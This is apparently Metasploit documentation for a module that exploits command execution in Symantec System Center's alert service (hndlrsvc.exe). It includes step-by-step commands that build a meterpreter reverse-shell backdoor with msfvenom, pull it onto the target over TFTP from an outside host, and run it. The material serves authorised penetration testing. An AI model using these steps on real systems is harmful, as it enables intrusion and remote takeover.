Vulnerable Application

This module exploits Symantec System Center's alert management system (hndlrsvc.exe) with an arbitrary command execution. The payload is uploaded via TFTP and then executed on the system. This is part of Symantec AntiVirus Corporate Edition 8.0-10.1.7

Verification Steps

  1. Install the application

  2. Start msfconsole

  3. Do: use exploit/windows/antivirus/ams_hndlrsvc

  4. Do: set rhost

  5. Do: exploit

  6. You should get a shell.

Options

CMD

Optional command line to run instead of attempting to directly inject a payload

RPORT

The port the service is running on. Default is 38292.

Scenarios

Manual Upload and Execute

If the module doesn't work for a shell, it's possible to run the CMD twice to emulate the steps the module takes.

  1. start atftpd: atftpd --daemon --port=69 /tftpboot/

  2. create payload: msfvenom -p windows/meterpreter/reverse_tcp LHOST=1.1.1.1 lport=4444 -f exe -o /tftpboot/backdoor.exe

  3. start metasploit

  4. start a multihandler

  5. load the module: use exploit/windows/antivirus/ams_hndlrsvc

  6. use ams: set CMD 'tftp -i 1.1.1.1 GET backdoor.exe'

  7. run

  8. use ams: set cmd 'backdoor.exe'

  9. run
